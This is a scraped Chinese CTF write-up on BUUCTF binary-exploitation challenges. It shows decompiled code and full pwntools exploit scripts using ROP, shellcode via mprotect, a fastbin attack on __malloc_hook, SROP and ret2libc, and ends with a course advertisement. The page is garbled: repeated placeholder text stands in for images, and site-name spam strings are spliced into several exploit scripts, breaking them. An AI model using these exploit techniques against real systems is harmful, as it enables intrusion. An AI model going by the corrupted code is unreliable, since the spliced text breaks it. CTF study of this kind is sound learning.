haregot造句

Y

今天你pwn了吗

前言:

"二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录下非高分题目的解题思路和知识讲解。特别是文章里的函数,我特意整理了下,希望我能在二进制路上走远!!!

固定布局

工具条上设置固定宽高

背景可以设置被包含

可以完美对齐背景图和文字

以及制作自己的模板

not_the_same_3dsctf_2016

在这之前我们先来看下几个函数吧:fgets 和fread 函数以及 mprotect 函数。

fgets

函数原型: char* fgets( char* str, intnum, FILE * stream ) ; 函数功能: 从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num -1)个字符或到达换行符或到达文件末尾(以先发生的为准)。 换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。 复制到str的字符后会自动附加一个终止的空字符。 请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。

fread

haregot造句

mprotect

haregot造句

然后 我们来看下这题的程序逻辑。gets 输入后就结束了。

haregot造句

但我们可以看到程序中有个 get_secret函数,乍一看是后门函数,但并不是。

思路一:

而是 将 flag.txt的内容放到了 bss:0x080ECA2D 地址里。我们可以通 rop的方式 先执行下 get_secret将flag放入bss段上,然后程序中含有write函数,我们 可以再rop到 write函数上来将flag给输出出来。我们写出exp:

haregot造句

拿到 flag:

haregot造句

思路二:我们也可以用shellcode的方式。因为程序开了NX保护,我们没办法把它输入到栈中去执行shellcode,所以我们看下 bss 段上。

haregot造句

bss段上 可读可写,然后程序中也有 mprotect 函数和 read函数 ,所以我们尝试 ROP的方式先通过mprotect 函数来将 bss段所在的内页页 改为可可读可写可执行,然后我们再通过read函数往bss段上写shellcode,最后将执行流返回到bss即可拿到shell。exp如下:

from pwn import * from LibcSearcher import * #context.log_level="debug" p=process( "./not_the_same_3dsctf_2016") elf=ELF( "./not_the_same_3dsctf_2016") p=remote( "node3.buuoj.cn",29610) #gdb.attach(p,"b *0x80489fb") mprotect_addr=elf.sym[ "mprotect"] print hex(mprotect_addr) read_plt=elf.sym[ "read"] print hex(read_plt) pop_3_ret=0x080483b8 pop_ret=0x08048b0b m_start=0x080EB000 #bss ye bss= 0x080EBF80 #bss print hex(m_start) len=0x2000 prot=4+2+1 #(rwx)

#ropper --file not_the_same_3dsctf_2016 --search "pop|ret"'''0x080483b8: pop esi; pop edi; pop ebp; ret; '''payload_1= "a"*0x2D+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7);payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100) #read(0,m_start,100)

p.sendline(payload_1)raw_inputpayload_2=asm(shellcraft.sh,arch = 'i386', os = 'linux') # shellcode len is 40p.sendline(payload_2)p.interactive

拿到flag:

haregot造句

babyheap_0ctf_2017

哈哈,没想到这么快就到堆题了。我们首先检查下文件属性和开启的相关保护。

haregot造句

保护全开的64位动态链接的 elf 程序。因为开启了Full RELRO,我们无法 改 函数的got,所以我们可首先考虑通过修改__malloc_hook的方式 为 onegadget 。

我们先来分析下这个程序吧。main函数:

__int64 __ fastcall main(__int64 a1, char**a2, char**a3) {char*v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70; //v4是用来 结构数组 首地址,通过mmap获取while( 1) {metu; // puts("1. Allocate");// puts("2. Fill");// puts("3. Free");// puts("4. Dump");// puts("5. Exit");// return printf("Command: ");sub_138C;switch( ( unsigned__int64)choice_14F4 ) {case1uLL: add_D48((__int64)v4);break; case2uLL: edit_E7F((__int64)v4);break; case3uLL: free_F50((__int64)v4);break; case4uLL: dump_1051((__int64)v4);break; case5uLL: return0LL; default: continue; }}}

sub_B70函数:v4是用来结构数组首地址,通过mmap获取,简单看下就好:

char* sub_B70{intfd; // [rsp+4h] [rbp-3Ch]char*addr; // [rsp+8h] [rbp-38h]__int64 v3; // [rsp+10h] [rbp-30h]unsigned__int64 buf; // [rsp+20h] [rbp-20h]unsigned__int64 v5; // [rsp+28h] [rbp-18h]unsigned__int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword( 0x28u); setvbuf( stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); alarm( 0x3Cu); puts( "===== Baby Heap in 2017 ====="); fd = open( "/dev/urandom", 0); if( fd < 0|| read(fd, &buf, 0x10uLL) != 16) exit( -1); close(fd);addr = ( char*)((buf - 93824992161792LL * (( unsigned__int64)( 0xC000000294000009LL * ( unsigned__int128)buf >> 64) >> 46) + 0x10000) & 0xFFFFFFFFFFFFF000LL); v3 = (v5 - 3712* ( 0x8D3DCB08D3DCB0DLL * ( unsigned__int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL; if( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr ) exit( -1); return&addr[v3]; }

程序功能 metu函数 :

haregot造句

Allocate (add)函数:输入 size,最大为 0x1000,然后 calloc(size),因为是calloc函数,会对申请到的内存进行清零处理。

haregot造句

我们在这里看以看出每个结构体的结构为(每个结构体 0x18大小):

haregot造句

放个图片 便于理解:<br>

haregot造句

Fill (edit)函数:输入下标index,然后 再输入 我们 要 填充的content 的 size,注意这里不是我们在 Allocate (add)写入的 size,而是重新输入的size,所以我们在这里可以出入任意长度的 content,存在堆溢出漏洞!

__int64 __ fastcall edit_E7F(__int64 a1){__int64 result; // raxintindex; // [rsp+18h] [rbp-8h]intcontent_len; // [rsp+1Ch] [rbp-4h]

printf( "Index: "); result = sub_138C;index = result;if( ( signedint)result >= 0&& ( signedint)result <= 15) // 16{result = *( unsignedint*)( 0x18LL * ( signedint)result + a1); if( (_DWORD)result == 1) {printf( "Size: "); result = sub_138C; //漏洞点在这content_len = result;if( ( signedint)result > 0) {printf( "Content: "); result = sub_11B2(*(_QWORD *)( 0x18LL * index + a1 + 0x10), content_len); }}}returnresult; }*************************************************unsigned__int64 __ fastcall sub_11B2(__int64 a1, unsigned__int64 a2) {unsigned__int64 v3; // [rsp+10h] [rbp-10h]ssize_tv4; // [rsp+18h] [rbp-8h]

if( !a2 ) return0LL; v3 = 0LL; while( v3 < a2 ) {v4 = read( 0, ( void*)(v3 + a1), a2 - v3); if( v4 > 0) {v3 += v4;}elseif( *_errno_location != 11&& *_errno_location != 4) {returnv3; }}returnv3; }

free函数:这里没有漏洞。free 掉 chunk 后,对结构体上的所有数据全都清零 。

haregot造句

exp:因为存在堆溢出,我们可通过输入来控制下一个chunk的size,于是 我们可通过 fastbin attack中的 chunk extend 来进行泄露libc,和将__malloc_hook上 写入 onegadhet。

frompwn import* context.log_level= "debug"p=process( "./babyheap_0ctf_2017") p=remote( "node3.buuoj.cn", 27220) #elf=ELF("./babyheap_0ctf_2017")libc=ELF( "/lib/x86_64-linux-gnu/libc.so.6")

defadd(size): p.sendlineafter( "Command: ", "1") p.sendlineafter( "Size: ",str(size))

defedit(index,size,content): p.sendlineafter( "Command: ", "2") p.sendlineafter( "Index: ",str(index)) p.sendlineafter( "Size: ",str(size)) p.sendlineafter( "Content: ",content)

defshow(index): p.sendlineafter( "Command: ", "4") p.sendlineafter( "Index: ",str(index))

deffree(index): p.sendlineafter( "Command: ", "3") p.sendlineafter( "Index: ",str(index))

add( 0x18) #0add( 0x68) #1add( 0x68) #2add( 0x20) #3 # 防止 和 top chunk合并#gdb.attach(p)

edit( 0, 0x19, "a"* 0x18+ "xe1") #0x70+0x70+1#将 chunk 1的size 覆盖为 chunk 1 的size+chunk 2的size 再 +1 free( 1) # free(1)后 chunk 1 和 chunk 2 当成整体被放进了 unsigned chunk 中add( 0x68) #1# add(0x68) 将unsigned bin 上的 整体chunk 给分割后 将 chunk 1 申请出来# 然后 unsigned bin上只有一个 chunk 2,chunk 2 的fd 和bk 都指向 main_arena+0x88的位置show( 2) # 泄露 libc 以及得到 相关的 函数 地址p.recvlinelibc_base=u64(p.recv( 6).ljust( 8, 'x00'))-( 0x7f5f083ecb78-0x7f5f08028000) print"libc_base is "+hex(libc_base)

__malloc_hook=libc_base+libc.symbols[ '__malloc_hook'] __malloc_hook_0x23=__malloc_hook -0x23one=[ 0x45216, 0x4526a, 0xf02a4, 0xf1147] #one_gadget /lib/x86_64-linux-gnu/libc.so.6#realloc_addr=libc_base+libc.symbols['realloc']

print"__malloc_hook is "+hex(__malloc_hook) print"__malloc_hook_0x23 is "+hex(__malloc_hook_0x23) #print "realloc_addr is "+hex(realloc_addr)

'''0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:[rsp+0x70] == NULL

'''add( 0x68) #4 2# 将再 unsigned bin 上的 chunk 给申请出来 便是 chunk 4,其实也是 chunk 2.#gdb.attach(p)free( 4) # 将 chunk 4(2) 放入 0x70 的fast bin中,但我们仍可通过 chunk 2对其进行控制。edit( 2, 8,p64(__malloc_hook_0x23)) # 将 fd 给 edit 为 __malloc_hook_0x23add( 0x68) #4#gdb.attach(p)add( 0x68) #5#申请 两次 可把 函数 __malloc_hook的 0x70 大的chunk 给申请出来 chunk 5

payload= "a"* 0x13+p64(libc_base+one[ 1])

edit( 5, 0x13+ 0x8,payload) #修改 __malloc_hook 为 onegadget

p.sendlineafter( www.58yuanyou.com"Command: ", "1") p.sendlineafter( "Size: ", "32") #最后再 执行到 malloc的时候 就会 执行 onegadget,从而拿到shell。p.interactive

getshell

haregot造句

[HarekazeCTF2019]baby_rop

这题太简单了。64位elf程序,有system 和/bin/shx00 字符串。

haregot造句

scanf 输入的偏移是 [rbp-10h]所以我们写出以下 exp:

haregot造句

拿到shell。

$ python babyrop.py [ +] Starting local process './babyrop': pid 17225[ +] Opening connection to node3.buuoj.cn onport 26886: Done [ *] '/home/yangmutou/xe6xa1x8cxe9x9dxa2/buuctf/100/[HarekazeCTF2019]baby_rop/babyrop'Arch: amd64 -64-little RELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE( 0x400000) 0x40048c[*] Switching to interactive mode$ lsbinbootdevetcflaghomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar

jarvisoj_level0

相比于最初的两题,这题简直是小菜啊!ida:

haregot造句

haregot造句

拿到flag:

haregot造句

[BJDCTF 2nd]one_gadget

64位elf程序,环境为ubuntu 19.04拖入ida:

haregot造句

***************** //最后一部分 ida 编译的不是很准确,我们看下汇编:

haregot造句

分析:程序在 init函数中中 给了我们 printf 的函数地址,我们可通过它得到 libc 加载的基地址,从而可计算出 onegadget 在程序中的真实 内存地址。另外经过上面我在 ida 中的简单注释,我们可知道通过scanf 输入的数据,会被直接调用 ,所以我们输入 onegadget 可拿到sh原由网ell。exp如下:

#coding:utf8from pwn import *p=process( "./one_gadget") p=remote( "node3.buuoj.cn",28449) elf=ELF( "./one_gadget") libc=ELF( "./libc-2.29_64.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18p.recvuntil( "here is the gift for u:") a=p.recv(14)printf_got=int(a,16)

#0x7ffff7a0d000

print hex(printf_got)printf_libc=libc.symbols['printf']

print hex(printf_libc)base=printf_got-printf_libcprint hex(base)

#og=[0x4f2c5,0x4f322,0x10a38c] #18og=[0xe237f,0xe2383,0xe2386,0x106ef8] #19og=base+og[3]

p.recvuntil( "Give me your one gadget:") #gdb.attach(p)p.sendline(str(og))

p.interactive

拿到 flag:

haregot造句

jarvisoj_level2

haregot造句

直接写exp了:

from pwn import *#context.log_level="debug"

p=process( "./level2") p=remote( "node3.buuoj.cn",26830) elf=ELF( "./level2")

bin_sh=0x0804A024system=elf.plt['system']

pd= "a"*0x88+p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)

p.recvuntil("Input:n")p.sendline(pd)p.interactive

拿到shell:

$ python level2.py [ +] Starting local process './level2': pid 2049[ +] Opening connection to node3.buuoj.cn onport 26830: Done [ *] '/home/yangmutou/xe6xa1x8cxe9x9dxa2/buuctf/100/jarvisoj_level2/level2'Arch: i386 -32-little RELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE( 0x8048000) [*] Switching to interactive mode$ cat flagflag{ 6b57cd2a-eee9 -43f7-a4d1 -59f549f84aef}

ciscn_2019_s_3

这题就很棒了。64位elf 程序,环境ubuntu 18.04而在这之前,我们首先看下 read,write的原型:

haregot造句

除此之外我们还要知道一下 syscall 系统调用。 关于这个知识的讲解 ctf中关于syscall系统调用的简单分析

大家可以去看下,因为已经写过一个较完整的分析了,这里就简单总结下 知识干货吧:看下这个图:

haregot造句

以上是维基百科 对system的介绍(基于32 的系统调用):

这里总结下32位与64位 系统调用的区别:

haregot造句

接着我们分析程序拖入ida:

int__ cdecl main( intargc, constchar**argv, constchar**envp) {returnvuln; }************************************************************signed__ int64 vuln{signed__int64 result; // rax

__asm { syscall; LINUX - sys_read } //read 系统调用result = 1LL; __asm { syscall; LINUX - sys_write } //write 系统调用returnresult; }

vuln 这部分我们还是看汇编吧:<br

haregot造句

翻译下就是我们首先系统调用read函数 往buf(rbp-0x10),最多可 写入 0x400 字节 数据,然后再调用 write函数将输入到buf 上的数据给输出出来。所以很明显的栈溢出漏洞嘛,

另外程序中还有个 gadgets 函数:

.text:00000000004004D6 public gadgets.text:00000000004004D6 gadgets proc near.text:00000000004004D6 ; __unwind {.text:00000000004004D6 push rbp.text:00000000004004D7 mov rbp, rsp.text:00000000004004DA mov rax, 0Fh.text:00000000004004E1 retn.text:00000000004004E1 gadgets endp ; sp-analysis failed.text:00000000004004E1.text:00000000004004E2 ; ---------------------------------------------------------------------------.text:00000000004004E2 mov rax, 3Bh.text:00000000004004E9 retn.text:00000000004004E9 ; ---------------------------------------------------------------------------.text:00000000004004EA db 90h.text:00000000004004EB ; -----------------------//www.58yuanyou.com----------------------------------------------------.text:00000000004004EB pop rbp.text:00000000004004EC retn.text:00000000004004EC ; } // starts at 4004D6

我们可以发现这个函数里面有两个可以 gadget 即 控制 rax的带有 ret 的汇编指令片段

mov rax, 0Fh // 0Fh 即15 而15 对应的是 sys_rt_sigreturn系统调用mov rax, 3Bh // 3Bh 即 59 而15 对应的是 sys_execve 系统调用

及对应着两种方式的做法。

第一种 是 通过 __libc_csu_init ROP 去 构造 execve("/bin/sh",0,0) 去拿 shell

第二种 是 通过 SROP 去 构造 execve("/bin/sh",0,0) 去拿 shell

我们 可 想办法 执行 execve("/bin/sh",0,0) 去拿 shell。<br> 将 sys_execve 的调用号 59 赋值给 rax<br> 将 第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi<br> 将 第二个参数 0 赋值给 rsi<br> 将 第三个参数 0 赋值给 rdx<br>

第一种:因为程序中 没有足够的 gadget可用,“x64 下的 __libc_csu_init 中的 gadgets,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在“,这个的话 大家可以 在ctfwiki上具体学习 下,或者在我之前对这个程序的分析 去了解与学习。这里我写出 exp:

#coding:utf8from pwn import *context.log_level = 'debug'conn=process( "./ciscn_s_3") vuln_addr=0x4004EDmov_rax_execv_addr=0x4004E2 #ida中查看pop_rdi_ret_addr=0x4005a3 #ROPgadget --binary ciscn_s_3 --only 'pop|ret'pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A__libc_csu_init_addr=0x400580 # __libc_csu_init gadget 首地址syscall_addr=0x400501 #ida中查看

#gdb.attach(conn,'b *0x40052C')payload1='/bin/shx00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)

bin_sh_addr=u64(conn.recv(8))-280print hex(bin_sh_addr)

payload2='/bin/shx00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x50)+p64(0)*3payload2+=p64(__libc_csu_init_addr)+p64(mov_rax_execv_addr)payload2+=p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr)

conn.send(payload2)conn.interactive

第二种:直接srop 伪造 sigreturn frame 去 伪造 execve("/bin/sh",0,0) 来 getshell

具体就是 首先利用 mov rax, 0Fh 控制rax为 15,然后 调用 syscall 即执行了 sigreturn,我们 伪造 sigreturn frame 去 执行 execve("/bin/sh",0,0) 即可

#coding:utf8from pwn import *context(arch='amd64', os='linux', log_level = 'DEBUG') #这个注意 一定要说明 内核架构 不然报错#context.log_level = 'debug'conn=process( "./ciscn_s_3") conn=remote('node3.buuoj.cn',26536)vuln_addr=0x4004EDmov_rax_sigreturn_addr=0x4004DAsyscall_addr=0x400501

#gdb.attach(conn,'b *0x40052C')payload1='/bin/shx00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)

bin_sh_addr=u64(conn.recv(8))-280print hex(bin_sh_addr) frame = SigreturnFrameframe.rax = constants.SYS_execveframe.rdi = bin_sh_addrframe.rsi = 0frame.rdx = 0#frame.rsp = bin_sh_addrframe.rip = syscall_addr

payload2='/bin/shx00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)conn.send(payload2)conn.interactive

均可拿到 flag。

[HarekazeCTF2019]baby_rop2

ida:

int__ cdecl main( intargc, constchar**argv, constchar**envp) {intlen; // eaxcharbuf[ 28]; // [rsp+0h] [rbp-20h]intv6; // [rsp+1Ch] [rbp-4h]

setvbuf( stdout, 0LL, 2, 0LL); setvbuf( stdin, 0LL, 2, 0LL); printf( "What's your name? ", 0LL); len = read( 0, buf, 0x100uLL); // 栈溢出v6 = len;buf[len - 1] = 0; printf( "Welcome to the Pwn World again, %s!n", buf); return0; }

通过printf泄露read的函数地址计算libc的基址,ROP链构造system(‘/bin/sh’)

exp:

#coding:utf8from pwn import *from LibcSearcher import *context.log_level= "debug"#p=process("./babyrop2")p=remote( "node3.buuoj.cn",27757) elf=ELF( "./babyrop2") libc=ELF( "/lib/x86_64-linux-gnu/libc.so.6",checksec =False)

print "*****************************************************info"printf_plt=elf.plt['printf']read_got=elf.got['read']main_addr=0x400636fmt_str=0x400770 # %spop_rdi_ret=0x400733 #ropper --file babyrop2 --search "pop|ret"pop_rsi_r15_ret=0x400731

print "*****************************************************leak"pd= "a"*0x20 pd+=p64(0xdeadbeef)pd+=p64(pop_rdi_ret)+p64(fmt_str)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)pd+=p64(printf_plt)+p64(main_addr)

#gdb.attach(p)p.recvuntil( "What's your name? ") p.sendline(pd)

read_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))

libc=LibcSearcher( "read",read_addr) libc_base=read_addr-libc.dump( "read") system_addr=libc_base+libc.dump( "system") str_bin_sh=libc_base+libc.dump( "str_bin_sh")

print "libc_base is "+hex(libc_base) print "system_addr is "+hex(system_addr) print "str_bin_sh is "+hex(str_bin_sh)

print "***************************************************** pwn"

p.recvuntil( "What's your name? ") pd2= "a"*0x20 pd2+=p64(0xdeadbeef)pd2+=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

p.sendline(pd2)

p.interactive

成功 可以 拿到 shell。

ciscn_2019_ne_5

这道题,感觉 学到了一个 骚姿势。如果程序中 没有 "/bin/shx00" 或者 "sh",但如果程序中 有 含有这些字符串的 长字符串,我们可以截取然后利用。学到了。我们首先看下 程序:

int__ cdecl main( intargc, constchar**argv, constchar**envp) {intv3; // [esp+0h] [ebp-100h]charsrc[ 4]; // [esp+4h] [ebp-FCh] charv5; // [esp+8h] [ebp-F8h]chars1[ 4]; // [esp+84h] [ebp-7Ch]charv7; // [esp+88h] [ebp-78h]int*v8; // [esp+F4h] [ebp-Ch]

v8 = &argc;setbuf( stdin, 0); setbuf( stdout, 0); setbuf( stderr, 0); fflush( stdout); *(_DWORD *)s1 = '0'; memset(&v7, 0, 0x60u); *(_DWORD *)src = '0'; memset(&v5, 0, 0x7Cu); puts( "Welcome to use LFS."); printf( "Please input admin password:"); __isoc99_scanf( "%100s", s1); // 以字符串 www.58yuanyou.com传入if( strcmp(s1, "administrator") ) {puts( "Password Error!"); exit( 0); }puts( "Welcome!"); while( 1) {puts( "Input your operation:"); puts( "1.Add a log."); puts( "2.Display all logs."); puts( "3.Print all logs."); printf( "0.Exitn:"); __isoc99_scanf( "%d", &v3); switch( v3 ) {case0: exit( 0); return; case1: AddLog(( int)src); break; case2: Display(src);break; case3: Print;break; case4: GetFlag(src);break; default: continue; }}}***********************************************************int__ cdecl AddLog( inta1) {printf( "Please input new log info:"); return__isoc99_scanf( "%128s", a1); }**********************************************************int__ cdecl Display( char*s) {returnputs(s); }************************************************************intPrint{returnsystem( "echo Printing......"); //这里有 system函数}************************************************************int__ cdecl GetFlag( char*src) {chardest[ 4]; // [esp+0h] [ebp-48h]charv3; // [esp+4h] [ebp-44h]

*(_DWORD *)dest = 48; memset(&v3, 0, 0x3Cu); strcpy(dest, src); //这里可以存在栈溢出漏洞returnprintf( "The flag is your log:%sn", dest); }*******************************************************

在GetFlag 函数里是存在 栈溢出漏洞的。dest 的偏移 是 [ebp-48h],同时我们还知道 system的地址,而只要我们有 "/bin/shx00"或者"sh"的字符串,就可以通过 AddLog 来输入我们的payload 就可顺利拿到 shell。

payload= "a"* 0x48+p32(pop_ret)+p32(system)+p32( 0xdeadbeef)+p32(binsh)

而 binsh的 地址是从何而来的呢,我们ida 搜索下字符串:<br>

可以看到 有个 "fflush"字符串,我们 0x80482E6 + 0x4 就可以得到 "sh"字符串的地址。学到了,学到了。exp如下:

haregot造句

可以成功拿到shell。

ciscn_2019_n_5

这个,没有开启任何保护,首先想到shellcode。ida:

haregot造句

额,直接写脚本了。

haregot造句

jarvisoj_level2_x64

我们看下ida 吧,这个属于很简单了。远不及上面的任意一题简单。

haregot造句

我们可以发现 程序中 有system 和 "/bin/sh"字符串,而有存在栈溢出漏洞。构造以下 payload 即可 拿到 shell。

pd= "a"* 0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_plt)

exp:

haregot造句

pwn2_sctf_2016

这一题 是涉及到 整形溢出的 题。

ida:

int__ cdecl main( intargc, constchar**argv, constchar**envp) {setvbuf( stdout, 0, 2, 0); returnvuln; }******************************************************************intvuln{charnptr; // [esp+1Ch] [ebp-2Ch]intv2; // [esp+3Ch] [ebp-Ch]

printf( "How many bytes do you want me to read? "); get_n(( int)&nptr, 4u); v2 = atoi(&nptr);if( v2 > 32) returnprintf( "No! That size (%d) is too large!n", v2); printf( "Ok, sounds good. Give me %u bytes of data!n", v2); get_n(( int)&nptr, v2); returnprintf( "You said: %sn", &nptr); }******************************************************************intvuln{charnptr; // [esp+1Ch] [ebp-2Ch]intv2; // [esp+3Ch] [ebp-Ch]

printf( "How many bytes do you want me to read? "); get_n(( int)&nptr, 4u); v2 = atoi(&nptr);if( v2 > 32) returnprintf( "No! That size (%d) is too large!n", v2); printf( "Ok, sounds good. Give me %u bytes of data!n", v2); get_n(( int)&nptr, v2); returnprintf( "You said: %sn", &nptr); }

我们来分析下程序。首先 我们输入下要输入的 size然后 再输入 size 字节的 数据,最后程序会输出 我们的 输入的 数据。

而这题的漏洞在 哪呢,我们首先知道 nptr 的偏移是 ebp-0x2C ,如果我们 要 覆盖 return addr 上的数据,至少需要 能输入0x2c+4+4 字节数据.而 这样的话 有 绕不过 第二个 if ,然而,我们看下int __cdecl get_n(int a1, unsigned int a2) 函数。这个 a2 就是我们开始输入的 要输入的 size 大小,而如果我们输入的 是负数,那么,负数一定是 < 32 的,而在int __cdecl get_n 函数中,它传参时是以无符号整数 传得参,即相当于a2是一个十分大的数。于是程序便会存在栈溢出漏洞。

程序中函数 printf 函数,我们通过它输出printf_got 地址,从泄露libc,然后返回到main 地址,程序重新执行,然后再将return addr 处给覆盖成 system ,另外控制下rdi为"/bin/sh"即可 。exp如下:

from pwn import *from LibcSearcher import *context.log_level = 'debug'

#p = process('./pwn2_sctf_2016')p = remote('node3.buuoj.cn', 25208)elf = ELF('./pwn2_sctf_2016')

fmt_str = 0x080486F8printf_plt = elf.plt['printf']main_addr = elf.sym['main']printf_got = elf.got['printf']

p.recvuntil('read? ')p.sendline('-1')p.recvuntil('data!n')

payload = 'a'*0x30 + p32(printf_plt原由网)+p32(main_addr)+p32(fmt_str)+p32(printf_got)p.sendline(payload)

p.recvuntil('said: ')p.recvuntil('said: ')

printf_addr = u32(p.recv(4))libc = LibcSearcher('printf', printf_addr)

libc_base = printf_addr - libc.dump('printf')system = libc_base + libc.dump('system')str_bin = libc_base + libc.dump('str_bin_sh')

p.recvuntil('read? ')p.sendline('-1')p.recvuntil('data!n')p.sendline('a'*0x30 + p32(system) + p32(main_addr) + p32(str_bin))p.interactive

师傅们,今天你pwn了嘛!!!

高级栈溢出技术—ROP实战(fluff)

通过该实验学习ROP概念及其思路,了解高级栈溢出时需要注意的事项,并掌握解决方法,同时通过练习给出的关卡来增强实践能力。

http://www.hetianlab.com/expc.do?ec=ECIDd982-88e7-4338-9b86-c88c86e92a4e

3个月掌握岗位核心技能

扫码报名

内容版权声明:除非注明原创否则皆为转载,再次转载请注明出处。

文章标题: haregot造句

文章地址: www.58yuanyou.com/wenzhang/186269.html

相关推荐